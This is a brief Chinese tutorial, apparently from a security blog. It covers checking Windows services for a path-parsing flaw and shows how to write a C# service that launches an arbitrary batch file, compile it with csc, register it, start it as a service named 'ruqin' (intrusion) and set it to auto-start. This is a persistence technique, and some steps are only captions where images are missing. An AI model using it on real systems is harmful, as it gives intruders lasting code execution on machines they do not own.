一,检查服务中是否有路径解析漏洞。

二,用c#自写服务

1,用记事本写,保存为xxx.cs

xxx.csC#语言编写的源程序代码的文件后缀名

using System.ServiceProcess;
 
namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("%%%这里写入要运行的批处理或者文件的路径例如C:\\text\\test.bat%%%%%");
        }
    }
 
    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

2,找到csc对上面的文件进行编译,生成程序

①直接搜索csc.exe,然后复制路径。
②用命令行执行编译
windows服务的应用

3,创建服务

windows服务的应用

4,开启服务sc start ruqin

windows服务的应用

5,设为自启

windows服务的应用

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-02-14
  • 2021-09-23
  • 2021-11-22
  • 2021-08-25
  • 2022-01-23
  • 2022-12-23
猜你喜欢
  • 2022-02-05
  • 2022-12-23
  • 2021-10-11
  • 2022-12-23
  • 2022-12-23
  • 2022-01-23
相关资源
相似解决方案